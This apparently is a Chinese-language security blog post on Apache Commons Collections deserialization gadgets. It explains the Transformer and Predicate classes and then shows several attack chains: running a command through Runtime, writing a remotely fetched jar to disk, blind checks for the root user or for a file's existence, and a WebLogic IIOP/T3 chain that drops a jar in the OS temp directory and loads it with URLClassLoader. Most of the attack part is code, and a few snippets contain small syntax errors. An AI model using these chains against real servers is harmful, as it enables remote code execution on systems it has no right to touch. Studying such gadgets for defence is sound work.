Apache CommonCollection Gadget几种特殊的玩法

Author:UnicodeSec@宽字节安全

简介

众所周知，CommonCollection Gadget主要是由ConstantTransformer，InvokerTransformer，ChainedTransformer构成。gadget主要通过Transformer接口的transform方法，对输入的对象做变换。ConstantTransformer不会做任何变换，只会返回类在实例化时传入的对象，InvokerTransformer会对类在实例化时传入的参数，通过反射去调用，ChainedTransformer将所有的Transformer连接起来，上一个Transformer的transform方法的结果，作为下一个Transformer的transform方法的参数。这样就完成java反序列化的gadget。下面为调用Runtime执行calc的CommonCollection的chain

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
    new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
    new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };

上面的chain等效与下面的代码

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object

从上面的代码中我们可以暂时得出以下结论
1.只有链式调用的方法才可以被改写成CommonCollection执行链
2.gadget中，不能有变量声明语句
3.没有while等语句
4.一切操作靠反射

CommonCollection其他Transform的简介

在org.apache.commons.collections.functors中，所有的类都可以被简单的分为三类，分别继承自Transformer接口， Predicate接口，Closure接口。这三个接口主要有以下区别:
1.Transformer接口接收一个对象，返回对象的执行结果
2.Closure接口接收一个对象，不返回对象的执行结果
3.Predicate接口，类似条件语句，会根据执行结果，返回true或者false。这个将主要用在SwitchTransformer类中对于我们来说，Closure接口没有太多用，下面主要介绍一下继承自Transformer接口的类与继承自Predicate接口的类

继承自Transformer接口的类

ChainedTransformer

将实例化后的Transformer的类的数组，按顺序一个一个执行，前面的transform结果作为下一个transform的输出。

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

CloneTransformer

调用并返回输入对象clone方法的结果

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    return PrototypeFactory.getInstance(input).create();
  }

ClosureTransformer

将Closure接口的类转换为Transformer:

public Object transform(Object input) {
      iClosure.execute(input);
      return input;
}

ConstantTransformer

调用transform方法，只返回类在实例化时存储的类:

public Object transform(Object input) { return iConstant;}

ExceptionTransformer

抛出一个异常，FunctorException

public Object transform(Object input) {
    throw new FunctorException("ExceptionTransformer invoked");
}

FactoryTransformer

调用相应的工厂类并返回结果

public Object transform(Object input) { return iFactory.create();}

InstantiateTransformer

根据给定的参数，在调用transform方法的时候实例化一个类

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

InvokerTransformer

调用transform方法的时候，根据类在实例化时提供的参数，通过反射去调用输入对象的方法

MapTransformer

在调用transform方法时，将输入函数作为key，返回类在实例化时参数map的value

public Object transform(Object input) { return iMap.get(input);}

NOPTransformer

啥也不干的Transformer

public Object transform(Object input) { return input;}

SwitchTransformer

类似if语句，在如果条件为真，则执行第一个Transformer，如果条件为假，则执行第二个Transformer

public Object transform(Object input) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(input) == true) {
            return iTransformers[i].transform(input);
        }
    }
    return iDefault.transform(input);
}

PredicateTransformer

将Predicate包装为Transformer

public Object transform(Object input) {
    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);
}

StringValueTransformer

调用String.valueOf，并返回结果

public Object transform(Object input) {
    return String.valueOf(input);
}

继承自Predicate接口的类

AllPredicate

在执行多个Predicate，是否都返回true。

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object) == false) {
            return false;
        }
    }
    return true;
}

AndPredicate

两个Predicate是否都返回true

public boolean evaluate(Object object) {
    return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
}

AnyPredicate

与AllPredicate相反，只要有任一一个Predicate返回true，则返回true

public boolean evaluate(Object object) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(object)) {
            return true;
        }
    }
    return false;
}

EqualPredicate

输入的对象是否与类在实例化时提供得对象是否一致

public boolean evaluate(Object object) { return (iValue.equals(object));}

ExceptionPredicate

在执行evaluate时抛出一个异常

FalsePredicate

永远返回False

IdentityPredicate

evaluate方法中输入的对象是否与类实例化时提供的类是否一样

public boolean evaluate(Object object) { return (iValue == object);}

InstanceofPredicate

输入的对象是否与类实例化时提供的类的类型是否一致

public boolean evaluate(Object object) { return (iType.isInstance(object));}

NotPredicate

对evaluate的结果取反操作

public boolean evaluate(Object object) { return !(iPredicate.evaluate(object));}

NullIsExceptionPredicate

如果输入的对象为null，则抛出一个异常

NullIsFalsePredicate

如果输入的对象为null，则返回false

NullIsTruePredicate

如果输入的对象为null，则返回true

NullPredicate

输入的对象是否为null

public boolean evaluate(Object object) {
    return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));
}

TransformerPredicate

将一个Transformer包装为Predicate

OrPredicate

类似与条件语句中的或

使用方法

CommonCollection写入文件

这种方法通过InvokerTransformr调用构造函数，然后再写入文件。当然，这里我们可以使用InstantiateTransformer去实例化FileOutputStream类去写入文件，代码如下:

new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(FileOutputStream.class),
    new InstantiateTransformer( new Class[]{ String.class, Boolean.TYPE},
                                new Object[]{ "filePath, false}),
                                new InvokerTransformer("write", new Class[]{byte[].class},
                                new Object[]{getRemoteJarBytes()})
   }),

Gadget版盲注

思想类似于Sql的盲注。我们可以通过如下语句检测java进程是否是root用户

if (System.getProperty("user.name").equals("root")){
  throw new Exception();
}

我们可以通过如下cc链，执行该语句:

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(System.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
            new Object[]{"getProperty", new Class[]{String.class}}),
            new InvokerTransformer("invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[]{"user.name"}}),
            new InvokerTransformer("toString",
            new Class[]{},
            new Object[0]),
            new InvokerTransformer("toLowerCase",
            new Class[]{},
            new Object[0]),
            new InvokerTransformer("contains",
            new Class[]{CharSequence.class},
            new Object[]{"root"}),
        })
    ),
    new TransformerUtils.exceptionTransformer(),
    new TransformerUtils.nopTransformer());

是否存在某些文件

if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){
    Thread.sleep(7000);
}

改写成cc链

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer(
            new Transformer[] {
                new ConstantTransformer(File.class),
                new InstantiateTransformer(
                    new Class[]{ String.class},
                new Object[]{ path }),
                new InvokerTransformer("exists", null, null)
            })
    ),
    new ChainedTransformer( new Transformer[] {
        new ConstantTransformer(Thread.class),
        new InvokerTransformer("getMethod", new Class[]{
            String.class, Class[].class
        },new Object[]{
            "sleep", new Class[]{Long.TYPE}
            }),
            new InvokerTransformer("invoke",
            new Class[]{
                Object.class, Object[].class
            }, new Object[]{
                null, new Object[] {7000L}
            })
    }),TransformerUtils.nopTransformer();)

weblogic iiop/T3回显

主要问题有目前只能用URLClassloader，但是需要确定上传到weblogic服务器的位置。而这里我们知道，windows与linux的临时目录以及file协议访问上传文件的绝对路径肯定不一样。如果只用invokerTransform的话，最简单的执行回显的方案如下:

攻击一次weblogic服务器，最多可能需要发送6次反序列化包，才能成功的给weblogic服务器安装实例。这显然不符合我们精简代码的思想。下面我们用正常思维的方式去执行一下攻击过程:

if (os == 'win'){
  fileOutput(winTemp)
  }
else{
  fileOutput(LinuxTemp)
  }
if (os == 'win'){
  urlclassloader.load(winTemp)
  }
else{
  urlclassloader.load(LinuxTemp)
  }

这里我们可以使用SwitchTransformer + Predicate + ChainedTransformer 组合去完成。
1.SwitchTransformer类似于if语句
2.Predicate类似于条件语句
3.ChainedTransformer 将所有的语句串起来执行
SwitchTransformer类需要一个Predicate，而这里TransformerPredicate可以将一个Transformer转换为一个Predicate。所以我们需要一个可以判断操作系统的chain。然后将判断操作系统的chain作为Predicate，调用switchTransformer，根据结果，将可执行ja包写入win或者linux的临时目录。然后再调用第二个switchTransformer，根据操作系统的类型，调用URLclassloader分别加载相应上传位置的jar包，通过chainedTransformer将两个SwitchTransformer将两个SwitchTransform连接起来。代码如下:

Transformer t = TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate( getSysTypeTransformer()),
    new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(FileOutputStream.class),
    new InstantiateTransformer(
        new Class[]{
            String.class, Boolean.TYPE
    },
    new Object[]{
            "C:\\Windows\\Temp\\xxx.jar", false
    }),
    new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
    }),
    TransformerUtils.nopTransformer());

Transformer t1 = TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(getSysTypeTransformer()),
    new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(URLClassLoader.class),
    new InstantiateTransformer(
    new Class[]{URL[].class},
    new Object[]{ new URL[]{new URL("file:/C:\\Windows\\Temp\\xxx.jar")}}),
    new InvokerTransformer("loadClass",
    new Class[]{String.class}, new Object[]{className}),
    new InvokerTransformer("getMethod",
    new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),
    new InvokerTransformer("invoke",
    new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),
    TransformerUtils.nopTransformer()); // 这块自行改成linux的吧
    Transformer list = new ChainedTransformer(new Transformer[]{t,t1});

private static ChainedTransformer getSysTypeTransformer() {
    return new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(System.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
    new InvokerTransformer("invoke",
    new Class[]{Object.class, Object[].class},
    new Object[]{null, new Object[]{"os.name"}}),
    new InvokerTransformer("toString",
    new Class[]{},
    new Object[0]),
    new InvokerTransformer("toLowerCase",
    new Class[]{},
    new Object[0]),
    new InvokerTransformer("contains",
    new Class[]{CharSequence.class},
    new Object[]{"win"}),
    });
    }

参考

https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/SwitchTransformer.html
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html#WhileClosure

来源

https://mp.weixin.qq.com/s/xwEOpEkPurwP119tonUzVQ

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